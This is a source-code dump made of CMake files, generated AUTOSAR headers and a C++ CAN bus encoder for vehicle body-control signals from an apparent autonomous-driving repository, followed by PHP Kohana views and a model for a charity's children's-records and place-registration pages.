/modules/planning/tasks/deciders/utils:path_decider_obstacle_utils) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(scenario_util_lib util.cc util.h) target_link_libraries(scenario_util_lib log map_util planning_common) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_cansetdataresult_h #define impl_type_cansetdataresult_h #include "impl_type_uint8.h" enum class CanSetDataResult : UInt8 { OK = 0, ERROR = 1 }; #endif // impl_type_cansetdataresult_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(canbus_proto canbus_conf.pb.cc canbus_conf.pb.h ch.pb.cc ch.pb.h chassis.pb.cc chassis.pb.h chassis_detail.pb.cc chassis_detail.pb.h cx75.pb.cc cx75.pb.h teshun.pb.cc teshun.pb.h vehicle_chassis.pb.cc vehicle_chassis.pb.h vehicle_parameter.pb.cc vehicle_parameter.pb.h) target_link_libraries(canbus_proto common_proto drive_state_proto header_proto vehicle_signal_proto drivers_canbus_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(node3d node3d.cc node3d.h) target_link_libraries(node3d log /modules/common/math obstacle /modules/planning/constraint_checker:collision_checker planner_open_space_config_proto) add_library(reeds_shepp_path reeds_shepp_path.cc reeds_shepp_path.h) target_link_libraries(reeds_shepp_path log vehicle_config_helper /modules/common/math planning_gflags /modules/planning/open_space/coarse_trajectory_generator:node3d planner_open_space_config_proto adolc) add_library(grid_search grid_search.cc grid_search.h) target_link_libraries(grid_search log /modules/common/math planner_open_space_config_proto com_google_absl//absl/strings) add_library(open_space_utils INTERFACE) target_link_libraries(open_space_utils INTERFACE /modules/planning/open_space/coarse_trajectory_generator:grid_search /modules/planning/open_space/coarse_trajectory_generator:node3d /modules/planning/open_space/coarse_trajectory_generator:reeds_shepp_path) add_library(hybrid_a_star hybrid_a_star.cc hybrid_a_star.h) target_link_libraries(hybrid_a_star open_space_utils log vehicle_config_helper obstacle planning_gflags /modules/planning/math/piecewise_jerk:piecewise_jerk_speed_problem planner_open_space_config_proto discrete_points_math) <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/adu_bodycontrol_0x333_333.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; const int32_t Adubodycontrol0x333333::ID = 0x333; // public Adubodycontrol0x333333::Adubodycontrol0x333333() { Reset(); } uint32_t Adubodycontrol0x333333::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Adubodycontrol0x333333::UpdateData(uint8_t* data) { set_p_adu_rearfoglampcontrol(data, adu_rearfoglampcontrol_); set_p_adu_frontfoglampcontrol(data, adu_frontfoglampcontrol_); set_p_adu_washercontrol(data, adu_washercontrol_); set_p_adu_wipercontrol(data, adu_wipercontrol_); set_p_adu_doorcontrol(data, adu_doorcontrol_); set_p_adu_horncontrol(data, adu_horncontrol_); set_p_adu_highbeamlampcontrol(data, adu_highbeamlampcontrol_); set_p_adu_lowbeamlampcontrol(data, adu_lowbeamlampcontrol_); set_p_adu_positionlampcontrol(data, adu_positionlampcontrol_); set_p_adu_hazardlampcontrol(data, adu_hazardlampcontrol_); set_p_adu_rightturnlampcontrol(data, adu_rightturnlampcontrol_); set_p_adu_leftturnlampcontrol(data, adu_leftturnlampcontrol_); } void Adubodycontrol0x333333::Reset() { // TODO you should check this manually adu_rearfoglampcontrol_ = Adu_bodycontrol_0x333_333::ADU_REARFOGLAMPCONTROL_INVALID; adu_frontfoglampcontrol_ = Adu_bodycontrol_0x333_333::ADU_FRONTFOGLAMPCONTROL_INVALID; adu_washercontrol_ = Adu_bodycontrol_0x333_333::ADU_WASHERCONTROL_INVALID; adu_wipercontrol_ = Adu_bodycontrol_0x333_333::ADU_WIPERCONTROL_INVALID; adu_doorcontrol_ = Adu_bodycontrol_0x333_333::ADU_DOORCONTROL_INVALID; adu_horncontrol_ = Adu_bodycontrol_0x333_333::ADU_HORNCONTROL_INVALID; adu_highbeamlampcontrol_ = Adu_bodycontrol_0x333_333::ADU_HIGHBEAMLAMPCONTROL_INVALID; adu_lowbeamlampcontrol_ = Adu_bodycontrol_0x333_333::ADU_LOWBEAMLAMPCONTROL_INVALID; adu_positionlampcontrol_ = Adu_bodycontrol_0x333_333::ADU_POSITIONLAMPCONTROL_INVALID; adu_hazardlampcontrol_ = Adu_bodycontrol_0x333_333::ADU_HAZARDLAMPCONTROL_INVALID; adu_rightturnlampcontrol_ = Adu_bodycontrol_0x333_333::ADU_RIGHTTURNLAMPCONTROL_INVALID; adu_leftturnlampcontrol_ = Adu_bodycontrol_0x333_333::ADU_LEFTTURNLAMPCONTROL_INVALID; } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_rearfoglampcontrol( Adu_bodycontrol_0x333_333::Adu_rearfoglampcontrolType adu_rearfoglampcontrol) { adu_rearfoglampcontrol_ = adu_rearfoglampcontrol; return this; } // config detail: {'name': 'ADU_RearfogLampControl', 'enum': {0: 'ADU_REARFOGLAMPCONTROL_INVALID', 1: 'ADU_REARFOGLAMPCONTROL_OFF', 2: 'ADU_REARFOGLAMPCONTROL_ON', 3: 'ADU_REARFOGLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_rearfoglampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_rearfoglampcontrolType adu_rearfoglampcontrol) { int x = adu_rearfoglampcontrol; Byte to_set(data + 4); to_set.set_value(x, 4, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_frontfoglampcontrol( Adu_bodycontrol_0x333_333::Adu_frontfoglampcontrolType adu_frontfoglampcontrol) { adu_frontfoglampcontrol_ = adu_frontfoglampcontrol; return this; } // config detail: {'name': 'ADU_FrontfogLampControl', 'enum': {0: 'ADU_FRONTFOGLAMPCONTROL_INVALID', 1: 'ADU_FRONTFOGLAMPCONTROL_OFF', 2: 'ADU_FRONTFOGLAMPCONTROL_ON', 3: 'ADU_FRONTFOGLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_frontfoglampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_frontfoglampcontrolType adu_frontfoglampcontrol) { int x = adu_frontfoglampcontrol; Byte to_set(data + 4); to_set.set_value(x, 6, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_washercontrol( Adu_bodycontrol_0x333_333::Adu_washercontrolType adu_washercontrol) { adu_washercontrol_ = adu_washercontrol; return this; } // config detail: {'name': 'ADU_WasherControl', 'enum': {0: 'ADU_WASHERCONTROL_INVALID', 1: 'ADU_WASHERCONTROL_OFF', 2: 'ADU_WASHERCONTROL_ON', 3: 'ADU_WASHERCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_washercontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_washercontrolType adu_washercontrol) { int x = adu_washercontrol; Byte to_set(data + 3); to_set.set_value(x, 3, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_wipercontrol( Adu_bodycontrol_0x333_333::Adu_wipercontrolType adu_wipercontrol) { adu_wipercontrol_ = adu_wipercontrol; return this; } // config detail: {'name': 'ADU_WiperControl', 'enum': {0: 'ADU_WIPERCONTROL_INVALID', 1: 'ADU_WIPERCONTROL_OFF', 2: 'ADU_WIPERCONTROL_LOW_SPEED_A3_A8_B5_CD_CB_B5_A3_A9', 3: 'ADU_WIPERCONTROL_HIGH_SPEED_A3_A8_B8_DF_CB_B5_A3_A9', 7: 'ADU_WIPERCONTROL_RESERVED'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_wipercontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_wipercontrolType adu_wipercontrol) { int x = adu_wipercontrol; Byte to_set(data + 3); to_set.set_value(x, 5, 3); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_doorcontrol( Adu_bodycontrol_0x333_333::Adu_doorcontrolType adu_doorcontrol) { adu_doorcontrol_ = adu_doorcontrol; return this; } // config detail: {'name': 'ADU_DoorControl', 'enum': {0: 'ADU_DOORCONTROL_INVALID', 1: 'ADU_DOORCONTROL_LOCK', 2: 'ADU_DOORCONTROL_UNLOCK', 3: 'ADU_DOORCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_doorcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_doorcontrolType adu_doorcontrol) { int x = adu_doorcontrol; Byte to_set(data + 2); to_set.set_value(x, 4, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_horncontrol( Adu_bodycontrol_0x333_333::Adu_horncontrolType adu_horncontrol) { adu_horncontrol_ = adu_horncontrol; return this; } // config detail: {'name': 'ADU_HornControl', 'enum': {0: 'ADU_HORNCONTROL_INVALID', 1: 'ADU_HORNCONTROL_OFF', 2: 'ADU_HORNCONTROL_ON', 3: 'ADU_HORNCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_horncontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_horncontrolType adu_horncontrol) { int x = adu_horncontrol; Byte to_set(data + 2); to_set.set_value(x, 6, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_highbeamlampcontrol( Adu_bodycontrol_0x333_333::Adu_highbeamlampcontrolType adu_highbeamlampcontrol) { adu_highbeamlampcontrol_ = adu_highbeamlampcontrol; return this; } // config detail: {'name': 'ADU_HighBeamLampControl', 'enum': {0: 'ADU_HIGHBEAMLAMPCONTROL_INVALID', 1: 'ADU_HIGHBEAMLAMPCONTROL_OFF', 2: 'ADU_HIGHBEAMLAMPCONTROL_ON', 3: 'ADU_HIGHBEAMLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_highbeamlampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_highbeamlampcontrolType adu_highbeamlampcontrol) { int x = adu_highbeamlampcontrol; Byte to_set(data + 1); to_set.set_value(x, 2, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_lowbeamlampcontrol( Adu_bodycontrol_0x333_333::Adu_lowbeamlampcontrolType adu_lowbeamlampcontrol) { adu_lowbeamlampcontrol_ = adu_lowbeamlampcontrol; return this; } // config detail: {'name': 'ADU_LowBeamLampControl', 'enum': {0: 'ADU_LOWBEAMLAMPCONTROL_INVALID', 1: 'ADU_LOWBEAMLAMPCONTROL_OFF', 2: 'ADU_LOWBEAMLAMPCONTROL_ON', 3: 'ADU_LOWBEAMLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_lowbeamlampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_lowbeamlampcontrolType adu_lowbeamlampcontrol) { int x = adu_lowbeamlampcontrol; Byte to_set(data + 1); to_set.set_value(x, 4, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_positionlampcontrol( Adu_bodycontrol_0x333_333::Adu_positionlampcontrolType adu_positionlampcontrol) { adu_positionlampcontrol_ = adu_positionlampcontrol; return this; } // config detail: {'name': 'ADU_PositionLampControl', 'enum': {0: 'ADU_POSITIONLAMPCONTROL_INVALID', 1: 'ADU_POSITIONLAMPCONTROL_OFF', 2: 'ADU_POSITIONLAMPCONTROL_ON', 3: 'ADU_POSITIONLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_positionlampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_positionlampcontrolType adu_positionlampcontrol) { int x = adu_positionlampcontrol; Byte to_set(data + 1); to_set.set_value(x, 6, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_hazardlampcontrol( Adu_bodycontrol_0x333_333::Adu_hazardlampcontrolType adu_hazardlampcontrol) { adu_hazardlampcontrol_ = adu_hazardlampcontrol; return this; } // config detail: {'name': 'ADU_HazardLampControl', 'enum': {0: 'ADU_HAZARDLAMPCONTROL_INVALID', 1: 'ADU_HAZARDLAMPCONTROL_OFF', 2: 'ADU_HAZARDLAMPCONTROL_BLINK', 3: 'ADU_HAZARDLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_hazardlampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_hazardlampcontrolType adu_hazardlampcontrol) { int x = adu_hazardlampcontrol; Byte to_set(data + 0); to_set.set_value(x, 2, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_rightturnlampcontrol( Adu_bodycontrol_0x333_333::Adu_rightturnlampcontrolType adu_rightturnlampcontrol) { adu_rightturnlampcontrol_ = adu_rightturnlampcontrol; return this; } // config detail: {'name': 'ADU_RightTurnLampControl', 'enum': {0: 'ADU_RIGHTTURNLAMPCONTROL_INVALID', 1: 'ADU_RIGHTTURNLAMPCONTROL_OFF', 2: 'ADU_RIGHTTURNLAMPCONTROL_BLINK', 3: 'ADU_RIGHTTURNLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_rightturnlampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_rightturnlampcontrolType adu_rightturnlampcontrol) { int x = adu_rightturnlampcontrol; Byte to_set(data + 0); to_set.set_value(x, 4, 2); } Adubodycontrol0x333333* Adubodycontrol0x333333::set_adu_leftturnlampcontrol( Adu_bodycontrol_0x333_333::Adu_leftturnlampcontrolType adu_leftturnlampcontrol) { adu_leftturnlampcontrol_ = adu_leftturnlampcontrol; return this; } // config detail: {'name': 'ADU_LeftTurnLampControl', 'enum': {0: 'ADU_LEFTTURNLAMPCONTROL_INVALID', 1: 'ADU_LEFTTURNLAMPCONTROL_OFF', 2: 'ADU_LEFTTURNLAMPCONTROL_BLINK', 3: 'ADU_LEFTTURNLAMPCONTROL_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Adubodycontrol0x333333::set_p_adu_leftturnlampcontrol(uint8_t* data, Adu_bodycontrol_0x333_333::Adu_leftturnlampcontrolType adu_leftturnlampcontrol) { int x = adu_leftturnlampcontrol; Byte to_set(data + 0); to_set.set_value(x, 6, 2); } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_int8_h #define impl_type_int8_h #include "base_type_std_int8_t.h" typedef std_int8_t Int8; #endif // impl_type_int8_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef jmc_auto_controlcommandserviceinterface_proxy_h #define jmc_auto_controlcommandserviceinterface_proxy_h #include "ara/com/internal/proxy/ProxyAdapter.h" #include "ara/com/internal/proxy/EventAdapter.h" #include "ara/com/internal/proxy/FieldAdapter.h" #include "ara/com/internal/proxy/MethodAdapter.h" #include "jmc_auto/controlcommandserviceinterface_common.h" #include "impl_type_controlcommand.h" #include <string> namespace jmc_auto { namespace proxy { namespace events { using ControlCommandEvent = ara::com::internal::proxy::event::EventAdapter<::ControlCommand>; static constexpr ara::com::internal::EntityId ControlCommandEventId = 57416; //ControlCommandEvent_event_hash } namespace fields { } namespace methods { } // namespace methods class ControlCommandServiceInterfaceProxy :public ara::com::internal::proxy::ProxyAdapter { public: virtual ~ControlCommandServiceInterfaceProxy() { ControlCommandEvent.UnsetReceiveHandler(); ControlCommandEvent.Unsubscribe(); } explicit ControlCommandServiceInterfaceProxy(const HandleType &handle) :ara::com::internal::proxy::ProxyAdapter(::jmc_auto::ControlCommandServiceInterface::ServiceIdentifier, handle), ControlCommandEvent(GetProxy(), events::ControlCommandEventId, handle, ::jmc_auto::ControlCommandServiceInterface::ServiceIdentifier){ } ControlCommandServiceInterfaceProxy(const ControlCommandServiceInterfaceProxy&) = delete; ControlCommandServiceInterfaceProxy& operator=(const ControlCommandServiceInterfaceProxy&) = delete; ControlCommandServiceInterfaceProxy(ControlCommandServiceInterfaceProxy&& other) = default; ControlCommandServiceInterfaceProxy& operator=(ControlCommandServiceInterfaceProxy&& other) = default; static ara::com::FindServiceHandle StartFindService( ara::com::FindServiceHandler<ara::com::internal::proxy::ProxyAdapter::HandleType> handler, ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::StartFindService(handler, ::jmc_auto::ControlCommandServiceInterface::ServiceIdentifier, instance); } static ara::com::ServiceHandleContainer<ara::com::internal::proxy::ProxyAdapter::HandleType> FindService( ara::com::InstanceIdentifier instance = ara::com::InstanceIdentifier::Any) { return ProxyAdapter::FindService(::jmc_auto::ControlCommandServiceInterface::ServiceIdentifier, instance); } events::ControlCommandEvent ControlCommandEvent; }; } // namespace proxy } // namespace jmc_auto #endif // jmc_auto_controlcommandserviceinterface_proxy_h
1a41836c57f1628cf2d796af3ca736d98044553e
[ "CMake", "Markdown", "C", "C++", "Shell" ]
369
C++
ColleyLi/JMCMAuto
54e727271e9d9f0fb300cdf7ab0dcc7789c6ca95
67fc7971bc8fe8725de5297ad7121d472db891ee
refs/heads/master
<repo_name>humphr36/380CT_CW2<file_sep>/SSP.py from random import randint, sample from itertools import chain, combinations from time import time class SSP(): def __init__(self, S=[], t=0): self.S = S #Set self.t = t #Target self.n = len(S) #Number of items in set # self.decision = False self.total = 0 self.selected = [] def __repr__(self): return "SSP instance: S="+str(self.S)+"\tt="+str(self.t) def random_instance(self, n, bitlength=10): """Method creates a set and sets a random target for the SubsetSum Problem. Result could be true or false""" max_n_bit_number = 2**bitlength-1 self.S = sorted( [ randint(0,max_n_bit_number) for i in range(n) ] , reverse=True) self.t = randint(0,n*max_n_bit_number) self.n = len( self.S ) def random_yes_instance(self, n, bitlength=10): """Method creates a set in which the result of the SubsetSum Problem is True""" max_n_bit_number = 2**bitlength-1 self.S = sorted( [ randint(0,max_n_bit_number) for i in range(n) ] , reverse=True) self.t = sum( sample(self.S, randint(0,n)) ) self.n = len( self.S ) #Exhaustive Search def exhaustive_search(self): """Method searches through all the possible candidates in order it checks to see if they equal the target and if they do it prints true""" if self.n==0 and self.t!=0: #if the set is empty and the target is not 0, return false return False if self.t==0: #if the target is 0 return true (as an empty set is a subset of all sets and adds up to 0) return True else: #Search through the possible subsets to find if one matches the target for j in range(0, self.n+1): for subset in combinations(self.S, j): if sum(subset)==self.t: return True return False #Dynamic Programming def dynamic_programming(self): """Method""" if self.n==0 and self.t!=0: #if the set is empty and the target is not 0, return false return False if self.t==0: #if the target is 0 return true (as an empty set is a subset of all sets and adds up to 0) return True else: #Create an array storing whether the each integer between 0 and t can calculated from the set options=[False]*(self.t+1) options[0]=True for k in range(0,self.n): #For each element of the set changingvars=[] for l in range(0,self.t+1): #for every integer between 0 and the total z=l-self.S[k] if options[l]==False and z>=0 and options[z]==True: #if the integer is false and if the number - the element is true changingvars.append(l) for var in changingvars: options[var]=True changingvars=[] return options[self.t] #Random Search def try_at_random(self): """Method creates an empty array as the candidate variable, sets the total to 0 and then loops and randomly searches subsets until it finds one which adds up to the target, as it tries each subset it prints which subset it has tried and what the sum of that subset is""" candidate = [] total = 0 while total != self.t: candidate = sample(self.S, randint(0,self.n)) total = sum(candidate) print( "Trying: ", candidate, ", sum:", total ) instance = SSP() for e in range(0,1): instance.random_instance(50,14) print( instance ) start_time = time() #Starts monitoring time #print (instance.exhaustive_search()) print (instance.dynamic_programming()) #instance.dynamic_programming() #instance.try_at_random() print("--- %s seconds ---" % (time() - start_time)) #Prints execution time
dd05e52c3ea5a073291c1d43fd41c1cb73f90bc2
[ "Python" ]
1
Python
humphr36/380CT_CW2
6c484795ffd62aaf3eff0fece07b57236a49e295
9069948b7a092975304edea0a66c2ad8bcb0d505
refs/heads/master
<repo_name>SSSaudagar/tara_trust<file_sep>/application/views/admin/searchchildren.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>children records</title> <!-- Bootstrap --> <link href="<?php echo url::base() ?>bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <!--FONTS--> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Raleway"> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Quicksand"> <style> #nav-bar { padding:1%; background:white; } body { background:#FFD5B2; } #out { text-align:right; font-weight:bold; } .btn-primary { border:0; color:#AB8F77; background:transparent; transition: background 0.4s, color 0.4s; } .btn-primary:hover { color:white; background:#AB8F77; } .btn-default { border-color:#AB3838; color:white; background:#AB3838; transition: background 0.4s, color 0.4s; } .btn-default:hover { border-color:#AB3838; color:#AB3838; background:white; } input[type='text']:focus, select[name='place']:focus { border-color:#AB3838; box-shadow:0 0 3px 1px rgba(171,56,56,0.4); } #out a { text-decoration:none; font-size: 18px; } label { font-size:16px; } #select-element { margin-top:6%; } #child-details-table { margin-top:10%; width:80%; } th { height: 54px; width: 10%; text-align:center; } td { text-align:center; } th { background: #917965; height: 54px; font-weight: lighter; font-size:18px; text-shadow: 0 1px 0 #6E5C4C; color: white; border: 1px solid #6E5C4C; box-shadow: inset 0px 1px 2px #917965; transition: all 0.2s; } table { box-shadow: 0 0 8px rgba(0,0,0,0.4); } th, td { text-align:center; } tbody { background:white; } tr { border-bottom: 1px solid #cccccc; } tr:last-child { border-bottom: 0px; } td { border-right: 1px solid #cccccc; border-bottom: 1px solid #cccccc; padding: 10px; transition: all 0.2s; } td:last-child { border-right: 0px; } #record_header { text-transform:uppercase; font-size:36px; text-align:center; text-decoration:underline; margin-top:8%; } @media screen and (max-width: 800px) { #record_header { font-size: 30px; } .btn-default { margin-top:2%; } th { font-size: 14px; } td { font-size: 12px; } } @media screen and (max-width: 460px) { #out a { font-size:14px; } th { font-size: 10px; height: 30px; } td { font-size: 10px; padding:8px; } #child-details-table { width:100%; } } @media screen and (max-width: 350px) { #record_header { font-size: 24px; } th { font-size: 8px; height: 24px; } td { font-size: 6px; padding:6px; } #child-details-table { width:100%; } } </style> </head> <body> <div id='nav-bar'> <div id='logout'> <div id='out'><a class="btn btn-primary" href="<?php echo url::base() ?>index.php/admin/searchchildren">Logout <span class="glyphicon glyphicon-log-out"></span></a></div> </div> </div> <div class="container-fluid" style="padding-bottom:6%;"> <div class="row"> <div class="col-sm-1"></div> <div class="col-sm-9"> <h1 id='record_header'>children's records</h1> <form method="post" action="<?php echo url::base() ?>index.php/admin/" class="form"> <div class="form-group" id='select-element'> <div class="row"> <label class="col-sm-3" for='select-place'>Display details based on:</label> <div class='col-sm-7'> <select class="form-control" id='select-place' name="place" style="border-radius:0"> <option value="">--Select--</option> <option value="taluka">Taluka</option> <option value="district">District</option> <option value="state">State</option> </select> </div> <div class="col-sm-2"> <button class="btn btn-default" type = "submit">Display records</button> </div> </div> <br> <div class="row"> <div class="form-group"> <label class="col-sm-3" for='filter_by'>Filter by:</label> <div class="col-sm-6"> <input class="form-control" type="text" id='filter_by' name="filter_by" placeholder="Enter Taluka, District or State" style="border-radius:0" autofocus> </div> </div> </div> </div> </form> </div> <div class="col-sm-2"></div> </div> <div class="row"> <!-- <div class="col-sm-1"></div>--> <!-- <div class="col-sm-12">--> <center> <div id='child-details-table'> <?php if($_SERVER['REQUEST_METHOD'] == 'POST') { echo '<table border = 1>'; echo '<thead><tr> <th>Name</th> <th>Age</th> <th>Place</th> <th>Work</th> <th>Taluka</th> <th>District</th> <th>State</th></tr></thead><tbody>'; foreach($details as $row){ echo '<tr>'; echo "<td>{$row['name']}</td>"; echo "<td>{$row['age']}</td>"; echo "<td>{$row['place']}</td>"; echo "<td>{$row['work']}</td>"; echo "<td>{$row['taluka']}</td>"; echo "<td>{$row['district']}</td>"; echo "<td>{$row['state']}</td>"; echo '</tr>'; } echo "</tbody></table>"; } ?> </div> </center> <!-- </div>--> </div> </div> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <script src="<?php echo url::base() ?>bower_components/jquery/dist/jquery.min.js"></script> <!-- Include all compiled plugins (below), or include individual files as needed --> <script src="<?php echo url::base() ?>bower_components/bootstrap/dist/js/bootstrap.min.js"></script> </body> </html><file_sep>/application/classes/Model/Places.php <?php defined('SYSPATH') OR die('No Direct Script Access'); Class Model_Places extends Model { //DROP TABLE IF EXISTS `places`; //CREATE TABLE IF NOT EXISTS `places` ( //`place_id` int(11) NOT NULL, // `place` varchar(20) NOT NULL, // `taluka` varchar(20) NOT NULL, // `district` varchar(20) NOT NULL, // `state` varchar(20) NOT NULL //) ENGINE=InnoDB DEFAULT CHARSET=latin1 COMMENT='Information about places' AUTO_INCREMENT=1 ; public function add_places($d){ return DB::insert('places', array('place','taluka','district','state')) ->values(array($d['place'],$d['taluka'],$d['district'],$d['state'])) ->execute(); } public function by_place($place){ $query = DB::query(Database::SELECT, 'SELECT * FROM place'); $result = $query->execute(); return $result->as_array(); } public function validate_place($arr) { foreach($arr as $value){ $value = trim($value); $value = strip_tags($value); $value = HTML::chars($value); if(empty($value)) return FALSE; } return $arr; } }<file_sep>/application/views/admin/addplaces.php <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Place registration</title> <!-- Bootstrap --> <link href="<?php echo url::base() ?>bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <!--FONTS--> <link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Raleway"> <style> #form_area { padding-top: 0%; font-family: raleway; } #form_box { padding: 4%; padding-bottom: 10%; background: #FFC3AD; box-shadow: 0 0 1px 3px rgba(181,127,123,0.4); } #form_header { font-size:36px; color:#1B261B; background: transparent; width: 100%; text-shadow: 1 px 1px 2px rgba(255,161,133,0.4); text-decoration:underline; } #header_name { padding: 6%; text-align: center; font-weight:bold; } .form-group { padding: 2%; padding-bottom:10%; } #form_button { padding: 2%; padding-top: 12%; font-weight:bold; } label { color: #915C4C; font-weight:bold; font-size:16px; } .submit { font-size: 20px; border-radius: 0; background:#6E4639; border:0; } .submit:hover { background:#8F5B4A; } body { background:#FFEEE6; } input[type='text']:focus, input[type='contact']:focus { border-color:#8F5B4A; box-shadow:0 0 3px 1px rgba(255,161,133,0.4); } @media screen and (max-width: 500px) { .form-group { padding-bottom:0px; padding-top:0px; } #form_button { padding-top: 30px; } #form_header { font-size:30px; } label { font-size:12px; } .submit { font-size: 18px; } } </style> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-sm-3"></div> <div class="col-sm-6" id="form_area"> <div id="form_header"><div id='header_name'>Place registration form</div></div> <div id='form_box'> <section> <form method="post" action="<?php echo url::base() ?>index.php/admin/addplaces" class="form" onsubmit="return validate();"> <div class="form-group"> <div class="col-sm-12"> <label>Place:</label> <input class="form-control" type="text" id='place' name="place" placeholder="Place" style="border-radius:0" autofocus> </div> </div> <div class="form-group"> <div class="col-sm-12"> <label>Taluka:</label> <input class="form-control" type="text" id='taluka' name="taluka" placeholder="Taluka" style="border-radius:0" 